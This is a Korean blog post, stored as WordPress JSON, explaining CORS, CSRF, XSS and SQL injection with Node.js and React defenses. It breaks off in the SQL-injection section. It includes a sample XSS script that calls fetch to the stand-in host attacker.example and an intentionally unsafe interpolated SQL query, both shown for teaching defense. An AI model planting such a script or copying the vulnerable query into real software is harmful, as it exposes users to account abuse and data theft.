{"id":2665,"date":"2026-10-24T08:53:33","date_gmt":"2026-10-24T08:53:33","guid":{"rendered":"https:\/\/wayhope.kro.kr\/?p=2665"},"modified":"2026-10-24T08:53:33","modified_gmt":"2026-10-24T08:53:33","slug":"%ec%9b%b9-%eb%b0%8f-api-%eb%b3%b4%ec%95%88-cors-csrf-xss-sql-injection%eb%b6%80%ed%84%b0-%ec%9d%b8%ec%a6%9d%c2%b7%ea%b6%8c%ed%95%9c-%ea%b2%80%ec%a6%9d%ea%b9%8c%ec%a7%80","status":"publish","type":"post","link":"https:\/\/wayhope.kro.kr\/?p=2665","title":{"rendered":"\uc6f9 \ubc0f API \ubcf4\uc548 #CORS, CSRF, XSS, SQL Injection\ubd80\ud130 \uc778\uc99d\u00b7\uad8c\ud55c \uac80\uc99d\uae4c\uc9c0"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\uc6f9 \uc560\ud50c\ub9ac\ucf00\uc774\uc158\uacfc API \uc11c\ubc84\ub294 \uc678\ubd80 \ud074\ub77c\uc774\uc5b8\ud2b8\uc758 \uc694\uccad\uc744 \ubc1b\uc544 \ub370\uc774\ud130\ub97c \ucc98\ub9ac\ud55c\ub2e4. \uc774 \uacfc\uc815\uc5d0\uc11c \uc785\ub825\uac12\uc744 \uac80\uc99d\ud558\uc9c0 \uc54a\uac70\ub098, \uc0ac\uc6a9\uc790\uc758 \uad8c\ud55c\uc744 \ud655\uc778\ud558\uc9c0 \uc54a\uac70\ub098, \ubbfc\uac10\ud55c \uc815\ubcf4\ub97c \uc798\ubabb \uad00\ub9ac\ud558\uba74 \ub370\uc774\ud130 \uc720\ucd9c\uacfc \uacc4\uc815 \ud0c8\ucde8 \uac19\uc740 \ubcf4\uc548 \ubb38\uc81c\uac00 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc6f9 \ubc0f API \ubcf4\uc548\uc758 \ud575\uc2ec\uc740 \ub2e8\uc21c\ud788 \uc545\uc131 \uc694\uccad\uc744 \ucc28\ub2e8\ud558\ub294 \uac83\uc774 \uc544\ub2c8\ub2e4. <strong>\uc2e0\ub8b0\ud560 \uc218 \uc5c6\ub294 \uc785\ub825\uc744 \uc548\uc804\ud558\uac8c \ucc98\ub9ac\ud558\uace0, \uc694\uccad\uc790\uc758 \uc2e0\uc6d0\uc744 \ud655\uc778\ud558\uba70, \ud5c8\uc6a9\ub41c \uc791\uc5c5\ub9cc \uc218\ud589\ud558\ub3c4\ub85d \uc2dc\uc2a4\ud15c\uc744 \uc124\uacc4\ud558\ub294 \uac83<\/strong>\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774 \uae00\uc5d0\uc11c\ub294 \uc2e4\ubb34 \ubc31\uc5d4\ub4dc \uac1c\ubc1c\uc5d0 \ud544\uc694\ud55c \uc8fc\uc694 \ubcf4\uc548 \uac1c\ub150\uacfc Node.js \uae30\ubc18 API \uc11c\ubc84\uc5d0\uc11c \uc801\uc6a9\ud560 \uc218 \uc788\ub294 \ubc29\uc5b4 \ubc29\ubc95\uc744 \uc815\ub9ac\ud55c\ub2e4.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">CORS\uc640 CSRF<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">CORS\ub780?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">CORS(Cross-Origin Resource Sharing)\ub294 \ube0c\ub77c\uc6b0\uc800\uac00 \uc11c\ub85c \ub2e4\ub978 \ucd9c\ucc98(Origin) \uac04\uc758 \ub9ac\uc18c\uc2a4 \uc694\uccad\uc744 \ud5c8\uc6a9\ud560\uc9c0 \ud310\ub2e8\ud560 \uc218 \uc788\ub3c4\ub85d \ud558\ub294 \ubcf4\uc548 \uba54\ucee4\ub2c8\uc998\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Origin\uc740 \ub2e4\uc74c \uc138 \uc694\uc18c\ub85c \uad6c\uc131\ub41c\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\ud504\ub85c\ud1a0\ucf5c: <code>http<\/code>, <code>https<\/code><\/li>\n\n\n\n<li>\ud638\uc2a4\ud2b8: <code>example.com<\/code><\/li>\n\n\n\n<li>\ud3ec\ud2b8: <code>3000<\/code>, <code>8080<\/code><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\uc608\ub97c \ub4e4\uc5b4 \ub2e4\uc74c \ub450 \uc8fc\uc18c\ub294 \uc11c\ub85c \ub2e4\ub978 Origin\uc774\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;frontend.example.com\nhttps:\/\/api.example.com<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\ud638\uc2a4\ud2b8\uac00 \ub2e4\ub974\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ube0c\ub77c\uc6b0\uc800\ub294 \uae30\ubcf8\uc801\uc73c\ub85c \ub2e4\ub978 Origin\uc758 \uc751\ub2f5\uc744 JavaScript\uac00 \uc790\uc720\ub86d\uac8c \uc77d\uc9c0 \ubabb\ud558\ub3c4\ub85d \uc81c\ud55c\ud55c\ub2e4. \uc11c\ubc84\uac00 \uc801\uc808\ud55c CORS \uc751\ub2f5 \ud5e4\ub354\ub97c \ubc18\ud658\ud558\uba74 \ube0c\ub77c\uc6b0\uc800\ub294 \ud574\ub2f9 \uc694\uccad\uc758 \uc751\ub2f5\uc744 \uc77d\ub3c4\ub85d \ud5c8\uc6a9\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">CORS \ub3d9\uc791 \ubc29\uc2dd<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\ube0c\ub77c\uc6b0\uc800\uc5d0\uc11c \ub2e4\uc74c \uc694\uccad\uc744 \ubcf4\ub0b8\ub2e4\uace0 \uac00\uc815\ud558\uc790.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/api\/users HTTP\/1.1\nHost: api.example.com\nOrigin: https:\/\/frontend.example.com<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc11c\ubc84\uac00 \ub2e4\uc74c \uc751\ub2f5\uc744 \ubc18\ud658\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\nAccess-Control-Allow-Origin: https:\/\/frontend.example.com\nContent-Type: application\/json<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774 \uacbd\uc6b0 \ube0c\ub77c\uc6b0\uc800\ub294 \uc9c0\uc815\ub41c Origin\uc758 JavaScript\uac00 \uc751\ub2f5\uc744 \uc77d\ub3c4\ub85d \ud5c8\uc6a9\ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ubc18\ub300\ub85c \ud5c8\uc6a9\ub418\uc9c0 \uc54a\uc740 Origin\uc774\ub77c\uba74 \ube0c\ub77c\uc6b0\uc800\ub294 \uc751\ub2f5\uc744 JavaScript\uc5d0 \ub178\ucd9c\ud558\uc9c0 \uc54a\ub294\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ub2e4\ub9cc <strong>CORS\ub294 \uc11c\ubc84\uc5d0 \ub300\ud55c \uc811\uadfc \uc790\uccb4\ub97c \ucc28\ub2e8\ud558\ub294 \uc778\uc99d\u00b7\uc778\uac00 \uc2dc\uc2a4\ud15c\uc774 \uc544\ub2c8\ub2e4.<\/strong> \ube0c\ub77c\uc6b0\uc800\uac00 \uc751\ub2f5\uc744 \uc77d\ub294 \uac83\uc744 \uc81c\ud55c\ud558\ub294 \uc815\ucc45\uc774\ub2e4. \ub2e4\ub978 \uc11c\ubc84\ub098 \uc9c1\uc811 \uc791\uc131\ud55c HTTP \ud074\ub77c\uc774\uc5b8\ud2b8\ub294 CORS \uc815\ucc45\uc758 \uc801\uc6a9 \ub300\uc0c1\uc774 \uc544\ub2c8\ubbc0\ub85c, API \uc11c\ubc84 \uc790\uccb4\uc758 \uc778\uc99d\uacfc \uad8c\ud55c \uac80\uc99d\uc740 \ubcc4\ub3c4\ub85c \ud544\uc694\ud558\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Preflight \uc694\uccad<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\uc77c\ubd80 \uad50\ucc28 \ucd9c\ucc98 \uc694\uccad\uc740 \uc2e4\uc81c \uc694\uccad\uc744 \ubcf4\ub0b4\uae30 \uc804\uc5d0 <code>OPTIONS<\/code> \uc694\uccad\uc73c\ub85c \ud5c8\uc6a9 \uc5ec\ubd80\ub97c \ud655\uc778\ud55c\ub2e4. \uc774\ub97c Preflight \uc694\uccad\uc774\ub77c\uace0 \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc608\ub97c \ub4e4\uc5b4 JSON \ubcf8\ubb38\uacfc <code>Authorization<\/code> \ud5e4\ub354\ub97c \uc0ac\uc6a9\ud558\ub294 \uc694\uccad\uc740 \uc77c\ubc18\uc801\uc73c\ub85c Preflight \ub300\uc0c1\uc774\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>OPTIONS \/api\/users HTTP\/1.1\nOrigin: https:\/\/frontend.example.com\nAccess-Control-Request-Method: POST\nAccess-Control-Request-Headers: authorization, content-type<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc11c\ubc84\ub294 \ud5c8\uc6a9\ud560 Origin, HTTP \uba54\uc11c\ub4dc, \ud5e4\ub354 \ub4f1\uc744 \uc751\ub2f5\uc73c\ub85c \ubc18\ud658\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 204 No Content\nAccess-Control-Allow-Origin: https:\/\/frontend.example.com\nAccess-Control-Allow-Methods: GET, POST, PATCH, DELETE\nAccess-Control-Allow-Headers: Authorization, Content-Type<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Node.js\uc5d0\uc11c CORS \uc124\uc815\ud558\uae30<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Express\uc5d0\uc11c\ub294 <code>cors<\/code> \ubbf8\ub4e4\uc6e8\uc5b4\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import express from \"express\";\nimport cors from \"cors\";\n\nconst app = express();\n\nconst allowedOrigins = new Set(&#91;\n  \"https:\/\/frontend.example.com\",\n]);\n\napp.use(\n  cors({\n    origin(origin, callback) {\n      \/\/ \uc11c\ubc84 \uac04 \uc694\uccad \ub4f1 Origin\uc774 \uc5c6\ub294 \uc694\uccad\ub3c4 \uc788\uc744 \uc218 \uc788\ub2e4.\n      if (!origin) {\n        return callback(null, true);\n      }\n\n      if (allowedOrigins.has(origin)) {\n        return callback(null, origin);\n      }\n\n      return callback(new Error(\"Origin not allowed\"));\n    },\n\n    methods: &#91;\"GET\", \"POST\", \"PATCH\", \"DELETE\"],\n    allowedHeaders: &#91;\"Content-Type\", \"Authorization\"],\n    credentials: true,\n  }),\n);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>credentials: true<\/code>\ub294 \ucfe0\ud0a4 \ub4f1\uc758 \uc790\uaca9 \uc99d\uba85\uc744 \uc0ac\uc6a9\ud558\ub294 \uad50\ucc28 \ucd9c\ucc98 \uc694\uccad\uc5d0 \ud544\uc694\ud560 \uc218 \uc788\ub2e4. \uc774\ub54c <code>Access-Control-Allow-Origin: *<\/code>\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc5c6\uc73c\uba70, \ud5c8\uc6a9\ud560 Origin\uc744 \uba85\uc2dc\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc6b4\uc601 \ud658\uacbd\uc5d0\uc11c\ub294 \ud5c8\uc6a9 Origin\uc744 \uba85\uc2dc\uc801\uc73c\ub85c \uad00\ub9ac\ud558\uace0, \ub2e8\uc21c\ud55c \ubb38\uc790\uc5f4 \ud3ec\ud568 \uac80\uc0ac\ub098 \ubb34\ubd84\ubcc4\ud55c \uc815\uaddc\uc2dd\uc73c\ub85c \ud5c8\uc6a9 \ubc94\uc704\ub97c \ub113\ud788\uc9c0 \uc54a\ub294 \uac83\uc774 \uc88b\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">CSRF\ub780?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">CSRF(Cross-Site Request Forgery)\ub294 \uacf5\uaca9\uc790\uac00 \ud53c\ud574\uc790\uc758 \ube0c\ub77c\uc6b0\uc800\ub97c \uc774\uc6a9\ud574 \ud53c\ud574\uc790\uac00 \ub85c\uadf8\uc778\ud55c \uc6f9\uc0ac\uc774\ud2b8\uc5d0 \uc758\ub3c4\ud558\uc9c0 \uc54a\uc740 \uc694\uccad\uc744 \ubcf4\ub0b4\ub3c4\ub85d \uc720\ub3c4\ud558\ub294 \uacf5\uaca9\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc608\ub97c \ub4e4\uc5b4 \uc740\ud589 \uc6f9\uc0ac\uc774\ud2b8\uc5d0 \ub85c\uadf8\uc778\ud55c \uc0ac\uc6a9\uc790\uac00 \ub2e4\ub978 \uc545\uc131 \uc6f9\uc0ac\uc774\ud2b8\ub97c \ubc29\ubb38\ud588\ub2e4\uace0 \uac00\uc815\ud558\uc790.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ube0c\ub77c\uc6b0\uc800\uac00 \uc740\ud589 \uc0ac\uc774\ud2b8\uc758 \uc778\uc99d \ucfe0\ud0a4\ub97c \uc790\ub3d9\uc73c\ub85c \uc804\uc1a1\ud558\ub294 \uad6c\uc870\ub77c\uba74, \uc545\uc131 \ud398\uc774\uc9c0\uac00 \uacc4\uc88c \uc774\uccb4 \uc694\uccad\uc744 \uc720\ub3c4\ud560 \uac00\ub2a5\uc131\uc774 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud575\uc2ec \ubb38\uc81c\ub294 \ube0c\ub77c\uc6b0\uc800\uac00 \uc694\uccad\uc744 \ubcf4\ub0bc \ub54c \uc778\uc99d \uc815\ubcf4\uae4c\uc9c0 \uc790\ub3d9\uc73c\ub85c \ucca8\ubd80\ud560 \uc218 \uc788\ub2e4\ub294 \uc810\uc774\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">CSRF \ubc29\uc5b4 \ubc29\ubc95<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>CSRF \ud1a0\ud070<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc11c\ubc84\uac00 \uc608\uce21\ud558\uae30 \uc5b4\ub824\uc6b4 \ud1a0\ud070\uc744 \ubc1c\uae09\ud558\uace0, \uc0c1\ud0dc \ubcc0\uacbd \uc694\uccad\uc5d0 \ud574\ub2f9 \ud1a0\ud070\uc744 \ud3ec\ud568\ud558\ub3c4\ub85d \ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/api\/profile\/email HTTP\/1.1\nCookie: session=...\nContent-Type: application\/json\nX-CSRF-Token: random-csrf-token\n\n{\n  \"email\": \"new@example.com\"\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc11c\ubc84\ub294 \uc138\uc158\uc5d0 \uc5f0\uacb0\ub41c CSRF \ud1a0\ud070\uacfc \uc694\uccad\uc5d0 \ud3ec\ud568\ub41c \ud1a0\ud070\uc744 \ube44\uad50\ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>SameSite \ucfe0\ud0a4<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ucfe0\ud0a4\uc758 <code>SameSite<\/code> \uc18d\uc131\uc740 \uad50\ucc28 \uc0ac\uc774\ud2b8 \uc694\uccad\uc5d0\uc11c \ucfe0\ud0a4\ub97c \uc804\uc1a1\ud558\ub294 \ubc94\uc704\ub97c \uc81c\ud55c\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>Strict<\/code>: \uad50\ucc28 \uc0ac\uc774\ud2b8 \uc694\uccad\uc5d0\uc11c \ucfe0\ud0a4 \uc804\uc1a1\uc744 \uac15\ud558\uac8c \uc81c\ud55c\ud55c\ub2e4.<\/li>\n\n\n\n<li><code>Lax<\/code>: \uc77c\ubd80 \ucd5c\uc0c1\uc704 \ud0d0\uc0c9\uc740 \ud5c8\uc6a9\ud558\uba74\uc11c \uc77c\ubc18\uc801\uc778 \uad50\ucc28 \uc0ac\uc774\ud2b8 \uc694\uccad\uc758 \ucfe0\ud0a4 \uc804\uc1a1\uc744 \uc81c\ud55c\ud55c\ub2e4.<\/li>\n\n\n\n<li><code>None<\/code>: \uad50\ucc28 \uc0ac\uc774\ud2b8 \uc804\uc1a1\uc744 \ud5c8\uc6a9\ud558\uba70 <code>Secure<\/code>\uac00 \ud544\uc694\ud558\ub2e4.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><code>SameSite<\/code>\ub9cc\uc73c\ub85c \ubaa8\ub4e0 CSRF \uc704\ud5d8\uc774 \ud574\uacb0\ub418\ub294 \uac83\uc740 \uc544\ub2c8\ub2e4. \uc11c\ube44\uc2a4\uc758 \uc778\uc99d \ubc29\uc2dd\uacfc \uc694\uccad \ud750\ub984\uc5d0 \ub530\ub77c CSRF \ud1a0\ud070, Origin \uac80\uc99d \ub4f1\uc744 \ud568\uaed8 \uc801\uc6a9\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud2b9\ud788 \ucfe0\ud0a4\ub97c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 <code>Authorization<\/code> \ud5e4\ub354\uc5d0 \uba85\uc2dc\uc801\uc73c\ub85c \ud1a0\ud070\uc744 \ub123\ub294 \uad6c\uc870\ub294 \uc804\ud615\uc801\uc778 CSRF \uc704\ud5d8\uc774 \uc0c1\ub300\uc801\uc73c\ub85c \ub0ae\ub2e4. \ud558\uc9c0\ub9cc XSS\ub098 \ud1a0\ud070 \ud0c8\ucde8 \uac19\uc740 \ub2e4\ub978 \uc704\ud5d8\uae4c\uc9c0 \uc0ac\ub77c\uc9c0\ub294 \uac83\uc740 \uc544\ub2c8\ub2e4.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">XSS\uc640 SQL Injection<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">XSS\ub780?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">XSS(Cross-Site Scripting)\ub294 \uacf5\uaca9\uc790\uac00 \uc8fc\uc785\ud55c \uc2a4\ud06c\ub9bd\ud2b8\uac00 \ub2e4\ub978 \uc0ac\uc6a9\uc790\uc758 \ube0c\ub77c\uc6b0\uc800\uc5d0\uc11c \uc2e4\ud589\ub418\ub294 \ucde8\uc57d\uc810\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uac8c\uc2dc\ud310\uc5d0 \ub2e4\uc74c \ubb38\uc790\uc5f4\uc774 \uc800\uc7a5\ub418\uc5c8\ub2e4\uace0 \uac00\uc815\ud558\uc790.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\n  fetch(\"https:\/\/attacker.example\/collect\");\n&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc560\ud50c\ub9ac\ucf00\uc774\uc158\uc774 \uc774\ub97c \uac80\uc99d \uc5c6\uc774 HTML\ub85c \ucd9c\ub825\ud558\uba74 \ubc29\ubb38\uc790\uc758 \ube0c\ub77c\uc6b0\uc800\uc5d0\uc11c \uc2a4\ud06c\ub9bd\ud2b8\uac00 \uc2e4\ud589\ub420 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">XSS\uac00 \ubc1c\uc0dd\ud558\uba74 \uacf5\uaca9\uc790\ub294 \uc0ac\uc6a9\uc790\uc758 \uad8c\ud55c\uc73c\ub85c \ud398\uc774\uc9c0 \ub0b4 \uc791\uc5c5\uc744 \uc218\ud589\ud558\uac70\ub098, \ud654\uba74\uc5d0 \ud45c\uc2dc\ub41c \ubbfc\uac10\ud55c \uc815\ubcf4\ub97c \uc77d\uac70\ub098, \uc0ac\uc6a9\uc790\ub97c \ud53c\uc2f1 \ud398\uc774\uc9c0\ub85c \uc720\ub3c4\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ucfe0\ud0a4\uc5d0 <code>HttpOnly<\/code>\uac00 \uc124\uc815\ub418\uc5b4 \uc788\ub2e4\uba74 JavaScript\uac00 \ud574\ub2f9 \ucfe0\ud0a4 \uac12\uc744 \uc9c1\uc811 \uc77d\ub294 \uac83\uc740 \uc81c\ud55c\ub41c\ub2e4. \uadf8\ub7ec\ub098 XSS\uac00 \ubc1c\uc0dd\ud55c \ud398\uc774\uc9c0\uc5d0\uc11c \uc0ac\uc6a9\uc790\uc758 \uad8c\ud55c\uc73c\ub85c \uc694\uccad\uc744 \ubcf4\ub0b4\ub294 \ud589\uc704\uae4c\uc9c0 \uc644\uc804\ud788 \ucc28\ub2e8\ud558\uc9c0\ub294 \ubabb\ud55c\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">XSS\uc758 \uc8fc\uc694 \uc720\ud615<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Stored XSS<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc545\uc131 \uc2a4\ud06c\ub9bd\ud2b8\uac00 \ub370\uc774\ud130\ubca0\uc774\uc2a4 \ub4f1\uc5d0 \uc800\uc7a5\ub418\uace0, \ud574\ub2f9 \ub370\uc774\ud130\ub97c \uc870\ud68c\ud558\ub294 \uc0ac\uc6a9\uc790\uc5d0\uac8c \uc2e4\ud589\ub41c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc608\ub97c \ub4e4\uc5b4 \uac8c\uc2dc\uae00 \ubcf8\ubb38\uc774\ub098 \ub2c9\ub124\uc784\uc744 \uac80\uc99d \uc5c6\uc774 HTML\ub85c \ub80c\ub354\ub9c1\ud558\ub294 \uacbd\uc6b0\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Reflected XSS<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc694\uccad \ud30c\ub77c\ubbf8\ud130 \ub4f1\uc5d0 \ud3ec\ud568\ub41c \uacf5\uaca9 \ubb38\uc790\uc5f4\uc774 \uc11c\ubc84 \uc751\ub2f5\uc5d0 \ubc18\uc601\ub418\uace0 \uc2e4\ud589\ub41c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>DOM-based XSS<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud074\ub77c\uc774\uc5b8\ud2b8 JavaScript\uac00 URL\uc774\ub098 \uc0ac\uc6a9\uc790 \uc785\ub825\uc744 \uc548\uc804\ud558\uc9c0 \uc54a\uc740 \ubc29\uc2dd\uc73c\ub85c DOM\uc5d0 \uc0bd\uc785\ud558\uba74\uc11c \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">XSS \ubc29\uc5b4 \ubc29\ubc95<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\uac00\uc7a5 \uae30\ubcf8\uc801\uc778 \uc6d0\uce59\uc740 \uc0ac\uc6a9\uc790 \uc785\ub825\uc744 HTML\ub85c \uc9c1\uc811 \uc2e4\ud589\ud558\uc9c0 \uc54a\ub294 \uac83\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">React\uc5d0\uc11c\ub294 \uc77c\ubc18\uc801\uc778 \ubb38\uc790\uc5f4\uc744 JSX\ub85c \ucd9c\ub825\ud558\uba74 \uae30\ubcf8\uc801\uc73c\ub85c HTML \uc774\uc2a4\ucf00\uc774\ud504\uac00 \uc801\uc6a9\ub41c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>function Profile({ nickname }: { nickname: string }) {\n  return &lt;div&gt;{nickname}&lt;\/div&gt;;\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\ubc18\uba74 \ub2e4\uc74c \ucf54\ub4dc\ub294 \uc8fc\uc758\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>function Profile({ content }: { content: string }) {\n  return (\n    &lt;div dangerouslySetInnerHTML={{ __html: content }} \/&gt;\n  );\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>dangerouslySetInnerHTML<\/code>\uc5d0 \uc2e0\ub8b0\ud560 \uc218 \uc5c6\ub294 \ubb38\uc790\uc5f4\uc744 \uc804\ub2ec\ud558\uba74 XSS \ucde8\uc57d\uc810\uc774 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HTML \ub80c\ub354\ub9c1\uc774 \ud544\uc694\ud558\ub2e4\uba74 \uac80\uc99d\ub41c HTML Sanitizer\ub97c \uc0ac\uc6a9\ud574 \ud5c8\uc6a9\ub41c \ud0dc\uadf8\uc640 \uc18d\uc131\ub9cc \ub0a8\uaca8\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ucd94\uac00 \ubc29\uc5b4 \uc218\ub2e8\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>HTML, JavaScript, URL \ub4f1 \ucd9c\ub825 \ubb38\ub9e5\uc5d0 \ub9de\ub294 \uc778\ucf54\ub529 \uc801\uc6a9<\/li>\n\n\n\n<li>CSP(Content Security Policy) \uc124\uc815<\/li>\n\n\n\n<li>\uc704\ud5d8\ud55c DOM API \uc0ac\uc6a9 \ucd5c\uc18c\ud654<\/li>\n\n\n\n<li>\uc0ac\uc6a9\uc790 \uc785\ub825\uc744 HTML\uc774\ub098 JavaScript \ucf54\ub4dc\ub85c \uc9c1\uc811 \uacb0\ud569\ud558\uc9c0 \uc54a\uae30<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\ub2e8\uc21c\ud788 \uc785\ub825 \ubb38\uc790\uc5f4\uc5d0\uc11c <code>&lt;script&gt;<\/code>\ub9cc \uc81c\uac70\ud558\ub294 \ubc29\uc2dd\uc740 \ubd88\uc644\uc804\ud558\ub2e4. \ub2e4\uc591\ud55c HTML \uc694\uc18c\uc640 \uc774\ubca4\ud2b8 \uc18d\uc131, URL \uc2a4\ud0b4 \ub4f1\uc744 \ud1b5\ud55c \uc6b0\ud68c\uac00 \uac00\ub2a5\ud558\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">SQL Injection\uc774\ub780?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">SQL Injection\uc740 \uc678\ubd80 \uc785\ub825\uac12\uc774 SQL \uad6c\ubb38\uc758 \uc77c\ubd80\ub85c \ud574\uc11d\ub418\ub3c4\ub85d \ub9cc\ub4e4\uc5b4 \ucffc\ub9ac\uc758 \uc758\ubbf8\ub97c \ubcc0\uc870\ud558\ub294 \uacf5\uaca9\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc608\ub97c \ub4e4\uc5b4 \ub2e4\uc74c\uacfc \uac19\uc740 \ucf54\ub4dc\uac00 \uc788\ub2e4\uace0 \uac00\uc815\ud558\uc790.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const sql = `\n  SELECT *\n  FROM users\n  WHERE email = '${email}'\n`;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uacf5\uaca9\uc790\uac00 <code>email<\/code>\uc5d0 SQL \uad6c\ubb38\uc744 \uc0bd\uc785\ud558\uba74 \uc6d0\ub798 \uc758\ub3c4\uc640 \ub2e4\ub978 \ucffc\ub9ac\uac00 \ub9cc\ub4e4\uc5b4\uc9c8 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ubb38\uc81c\uc758 \ubcf8\uc9c8\uc740 \uc785\ub825\uac12\uacfc \uc2e4\ud589\ud560 SQL \uad6c\ubb38\uc744 \ubb38\uc790\uc5f4 \uc5f0\uacb0\ub85c \uacb0\ud569\ud55c\ub2e4\ub294 \uac83\uc774\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">SQL Injection \ubc29\uc5b4 \ubc29\ubc95<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">**Parameterized Query(\ub9e4\uac1c\ubcc0\uc218\ud654 \ucffc\ub9ac)**\ub97c \uc0ac\uc6a9\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const &#91;rows] = await pool.execute(\n  \"SELECT id, email FROM users WHERE email = ?\",\n  &#91;email],\n);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc5ec\uae30\uc11c 